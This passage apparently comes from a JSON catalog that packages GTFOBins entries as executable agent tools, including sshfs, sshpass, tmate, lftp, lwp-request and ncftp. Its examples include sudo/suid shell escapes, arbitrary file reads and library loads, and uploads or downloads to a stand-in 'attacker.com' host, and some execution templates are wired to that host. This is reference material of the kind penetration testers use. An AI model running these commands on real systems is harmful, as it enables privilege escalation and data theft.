    "dependencies": [],
    "description": "SSH key generation and management; can read and write files.",
    "examples": [
      {
        "description": "Load arbitrary libraries (sudo, suid, unprivileged)",
        "command": "ssh-keygen -D /path/to/lib.so"
      }
    ],
    "execution": {
      "template": "ssh-keygen",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive"
    ],
    "global_vars": {},
    "id": "network-ssh-ssh-keygen",
    "install": [
      {
        "method": "apt",
        "package_name": "openssh-client",
        "commands": [
          "apt-get install -y openssh-client"
        ]
      }
    ],
    "name": "ssh-keygen",
    "namespace": "network:ssh:ssh-keygen",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ssh-keygen/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ssh-keyscan\n\nssh-keyscan is a command-line utility. Gather SSH host public keys from remote servers.\n",
    "_source": "ssh-keyscan.md",
    "allowed-tools": [
      "ssh-keyscan"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Gather SSH host public keys from remote servers.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "ssh-keyscan -f /path/to/input-file"
      }
    ],
    "execution": {
      "template": "ssh-keyscan",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "remote"
    ],
    "global_vars": {},
    "id": "network-ssh-ssh-keyscan",
    "install": [
      {
        "method": "apt",
        "package_name": "openssh-client",
        "commands": [
          "apt-get install -y openssh-client"
        ]
      }
    ],
    "name": "ssh-keyscan",
    "namespace": "network:ssh:ssh-keyscan",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ssh-keyscan/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sshfs\n\nsshfs is a command-line utility. Mount remote filesystem over SSH; can also execute arbitrary commands, download files, spawn an interactive shell, upload files.\n",
    "_source": "sshfs.md",
    "allowed-tools": [
      "sshfs"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command",
      "network.transfer.download",
      "security.privilege-escalation.shell",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Mount remote filesystems over SSH; can read, write, and manage remote files.",
    "examples": [
      {
        "description": "Execute arbitrary commands (sudo, unprivileged)",
        "command": "sshfs -o ssh_command=/path/to/command x: /path/to/dir/"
      },
      {
        "description": "Download files (unprivileged)",
        "command": "sshfs user@attacker.com:/ /path/to/dir/\ncp /path/to/dir/path/to/input-file /path/to/output-file"
      },
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file\nchmod +x /path/to/temp-file\nsshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/"
      },
      {
        "description": "Upload files (unprivileged)",
        "command": "sshfs user@attacker.com:/ /path/to/dir/\ncp /path/to/input-file /path/to/dir/"
      }
    ],
    "execution": {
      "template": "sshfs",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "network-intensive",
      "pipes-stdin",
      "remote",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-ssh-sshfs",
    "install": [
      {
        "method": "apt",
        "package_name": "sshfs",
        "commands": [
          "apt-get install -y sshfs"
        ]
      }
    ],
    "name": "sshfs",
    "namespace": "network:ssh:sshfs",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/sshfs/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "collection",
      "privilege-escalation",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# sshpass\n\nsshpass is a command-line utility. Non-interactive SSH password provider.\n",
    "_source": "sshpass.md",
    "allowed-tools": [
      "sshpass"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Non-interactive SSH password authentication; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "sshpass /bin/sh"
      }
    ],
    "execution": {
      "template": "sshpass",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-ssh-sshpass",
    "install": [
      {
        "method": "apt",
        "package_name": "sshpass",
        "commands": [
          "apt-get install -y sshpass"
        ]
      }
    ],
    "name": "sshpass",
    "namespace": "network:ssh:sshpass",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/sshpass/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# tmate\n\ntmate is a command-line utility. Instant terminal sharing via SSH.\n",
    "_source": "tmate.md",
    "allowed-tools": [
      "tmate"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Instant terminal sharing over SSH; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "tmate -c /bin/sh"
      }
    ],
    "execution": {
      "template": "tmate",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "network-intensive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "network-ssh-tmate",
    "install": [
      {
        "method": "apt",
        "package_name": "tmate",
        "commands": [
          "apt-get install -y tmate"
        ]
      }
    ],
    "name": "tmate",
    "namespace": "network:ssh:tmate",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/tmate/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "ntpdate.md",
    "allowed-tools": [
      "ntpdate",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Set system time from NTP server, can execute commands.",
    "examples": [
      {
        "description": "Execute command via ntpdate",
        "command": "ntpdate /path/to/config"
      }
    ],
    "execution": {
      "template": "ntpdate /path/to/config",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-time-ntpdate",
    "install": [
      {
        "method": "apt",
        "package_name": "ntpdate",
        "commands": [
          "apt-get install -y ntpdate"
        ]
      }
    ],
    "name": "ntpdate",
    "namespace": "network:time:ntpdate",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ntpdate/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ascii-xfr.md",
    "allowed-tools": [
      "ascii-xfr",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Transfer ASCII files using XMODEM protocol, can read arbitrary files via sudo or SUID.",
    "examples": [
      {
        "description": "Read a file via ascii-xfr",
        "command": "ascii-xfr -ns /path/to/input-file"
      }
    ],
    "execution": {
      "template": "ascii-xfr -ns {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "network-transfer-ascii-xfr",
    "install": [
      {
        "method": "apt",
        "package_name": "minicom",
        "commands": [
          "apt-get install -y minicom"
        ]
      }
    ],
    "name": "ascii-xfr",
    "namespace": "network:transfer:ascii-xfr",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ascii-xfr/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "lftp.md",
    "allowed-tools": [
      "lftp",
      "curl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "network.transfer.upload",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Sophisticated file transfer program, can download and upload files and execute commands.",
    "examples": [
      {
        "description": "Download a file via lftp",
        "command": "lftp -c 'get /path/to/remote/file'"
      },
      {
        "description": "Upload a file via lftp",
        "command": "lftp -c 'put /path/to/local/file'"
      }
    ],
    "execution": {
      "template": "lftp -c 'get /path/to/remote/file'",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-transfer-lftp",
    "install": [
      {
        "method": "apt",
        "package_name": "lftp",
        "commands": [
          "apt-get install -y lftp"
        ]
      }
    ],
    "name": "lftp",
    "namespace": "network:transfer:lftp",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/lftp/"
      }
    ],
    "related_tools": [
      "curl",
      "wget"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration",
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "links.md",
    "allowed-tools": [
      "links",
      "wget",
      "curl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "network.transfer.upload",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Text web browser, can download files and execute commands.",
    "examples": [
      {
        "description": "Download a file via links",
        "command": "links https://attacker.com/file"
      }
    ],
    "execution": {
      "template": "links https://attacker.com/file",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-transfer-links",
    "install": [
      {
        "method": "apt",
        "package_name": "links",
        "commands": [
          "apt-get install -y links"
        ]
      }
    ],
    "name": "links",
    "namespace": "network:transfer:links",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/links/"
      }
    ],
    "related_tools": [
      "w3m",
      "lynx",
      "elinks"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration",
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "lwp-download.md",
    "allowed-tools": [
      "lwp-download",
      "lwp-request",
      "wget",
      "curl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Perl web download tool, can download and execute files.",
    "examples": [
      {
        "description": "Download a file via lwp-download",
        "command": "lwp-download https://attacker.com/file /path/to/output"
      }
    ],
    "execution": {
      "template": "lwp-download https://attacker.com/file /path/to/output",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-transfer-lwpdownload",
    "install": [
      {
        "method": "apt",
        "package_name": "libwww-perl",
        "commands": [
          "apt-get install -y libwww-perl"
        ]
      }
    ],
    "name": "lwp-download",
    "namespace": "network:transfer:lwpdownload",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/lwp-download/"
      }
    ],
    "related_tools": [
      "lwp-request",
      "wget",
      "curl"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "lwp-request.md",
    "allowed-tools": [
      "lwp-request",
      "lwp-download",
      "wget",
      "curl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "network.transfer.upload",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Perl web client, can download and upload files and execute commands.",
    "examples": [
      {
        "description": "Download a file via lwp-request",
        "command": "lwp-request https://attacker.com/file"
      },
      {
        "description": "Upload a file via lwp-request",
        "command": "lwp-request -m PUT /path/to/file https://attacker.com/"
      }
    ],
    "execution": {
      "template": "lwp-request https://attacker.com/file",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-transfer-lwprequest",
    "install": [
      {
        "method": "apt",
        "package_name": "libwww-perl",
        "commands": [
          "apt-get install -y libwww-perl"
        ]
      }
    ],
    "name": "lwp-request",
    "namespace": "network:transfer:lwprequest",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/lwp-request/"
      }
    ],
    "related_tools": [
      "lwp-download",
      "wget",
      "curl"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration",
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ncftp.md",
    "allowed-tools": [
      "ncftp",
      "ftp",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "network.transfer.upload",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "FTP client, can download and upload files and execute commands.",
    "examples": [
      {
        "description": "Download a file via ncftp",
        "command": "ncftp ftp://attacker.com/file"
      },
      {
        "description": "Upload a file via ncftp",
        "command": "ncftp -u /path/to/file ftp://attacker.com/"
      }
    ],
    "execution": {
      "template": "ncftp ftp://attacker.com/file",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "network-transfer-ncftp",
    "install": [
      {
        "method": "apt",
        "package_name": "ncftp",
        "commands": [
          "apt-get install -y ncftp"
        ]
      }
    ],
    "name": "ncftp",
    "namespace": "network:transfer:ncftp",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ncftp/"
      }
    ],
    "related_tools": [
      "ftp",
      "lftp"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration",
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "psftp.md",
    "allowed-tools": [
      "psftp",
      "sftp",
      "scp",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "network.transfer.download",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File transfer output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "PuTTY SFTP client, can download and upload files.",
    "examples": [
      {
        "description": "Download a file via psftp",
        "command": "echo 'get /remote/file /local/file' | psftp user@host"
      },
      {
        "description": "Upload a file via psftp",
        "command": "echo 'put /local/file /remote/file' | psftp user@host"
      }
    ],
    "execution": {
      "template": "psftp user@host -b /path/to/batch",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "network-transfer-psftp",
    "install": [
      {
        "method": "apt",
        "package_name": "putty-tools",
        "commands": [
          "apt-get install -y putty-tools"
        ]
      }
    ],
    "name": "psftp",
    "namespace": "network:transfer:psftp",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/psftp/"
      }
    ],
    "related_tools": [
      "sftp",
      "scp"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# scp — Secure copy over SSH protocol\n\n## Overview\n\n`scp` is a command-line utility for secure copy over ssh protocol.\n\n## Usage\n\n```\nscp -3 {flag-3} -4 {flag-4} -6 {flag-6} -c {flag-c} -D {flag-d}\n```\n",
    "_source": "scp.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.transfer.scp",
      "network.transfer.download",
      "network.transfer.upload"
    ],
    "description": "Secure copy over SSH protocol",
    "examples": [
      {
        "description": "Basic usage with flag-3",
        "command": "scp ${flag-3}"
      },
      {
        "description": "Display help message",
        "command": "scp --help"
      },
      {
        "description": "Securely copies files from remote ADDR's PATH to the current-working-directory. By default here, port 22 is used, or whichever port is otherwise configured.",
        "command": "scp ADDR:PATH ./"
      },
      {
        "description": "Using aliases (not Bash aliases) work with scp(1) as well. In this example, - the PATH1 of the first remote source defined as ALIAS1 is sent to PATH2 of the remote destination defined as ALIAS2.",
        "command": "scp ALIAS1:PATH1 ALIAS2:PATH2"
      },
      {
        "description": "You can use the `-P` flag -- uppercase, unlike ssh(1) -- to determine the PORT, in-case it's non-standard (not 22) or not defined within an alias.",
        "command": "scp -P PORT ADDR:PATH ./"
      }
    ],
    "execution": {
      "template": "scp -3 {flag-3} -4 {flag-4} -6 {flag-6} -c {flag-c} -D {flag-d}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "remote",
      "network-intensive",
      "encryption"
    ],
    "global_vars": {
      "target": "ip",
      "user": "user",
      "port": "port"
    },
    "id": "network-transfer-scp",
    "install": [
      {
        "method": "apt",
        "package_name": "openssh-client",
        "commands": [
          "apt-get install -y openssh-client"
        ]
      }
    ],
    "name": "scp",
    "namespace": "network:transfer:scp",
    "parameters": [
      {
        "name": "B",
        "type": "boolean",
        "required": false,
        "description": "Selects   batch   mode   (prevents   asking   for  passwords  or",
        "aliases": [
          "-B"
        ],
        "flag": "-B"
      },
      {
        "name": "T",
        "type": "boolean",
        "required": false,
        "description": "Disable strict filename checking.  By default when copying files",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-3",
        "template_key": "flag-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Copies between two remote hosts are transferred through the lo-",
        "aliases": [
          "-3"
        ],
        "flag": "-3"
      },
      {
        "name": "flag-4",
        "template_key": "flag-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces scp to use IPv4 addresses only",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces scp to use IPv6 addresses only",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect directly to a local SFTP server program rather than a remote one via ssh(1). This option may be useful in debugging the client and server",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies an alternative per-user configuration file for ssh. This option is directly passed to ssh(1)",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-J",
        "template_key": "flag-j",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect to the target host by first making an scp connection to the jump host described by destination and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. This is a shortcut to specify a ProxyJump configuration directive. This option is directly passed to ssh(1)",
        "aliases": [
          "-J"
        ],
        "flag": "-J"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies the port to connect to on the remote host. Note that this option is written with a capital `P', because -p is already reserved for preserving the times and mode bits of the file",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-S",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Name of program to use for the encrypted connection. The pro- gram must understand ssh(1) options",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-X",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify an option that controls aspects of SFTP protocol behav- iour. The valid options are:",
        "aliases": [
          "-X"
        ],
        "flag": "-X"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Selects the cipher to use for encrypting the data transfer. This option is directly passed to ssh(1)",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Selects the file from which the identity (private key) for pub- lic key authentication is read. This option is directly passed to ssh(1)",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Limits the used bandwidth, specified in Kbit/s",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Can be used to pass options to ssh in the format used in ssh_config(5). This is useful for specifying options for which there is no separate scp command-line flag. For full details of the options listed below, and their possible values, see ssh_config(5)",
        "aliases": [
          "-o"
        ],
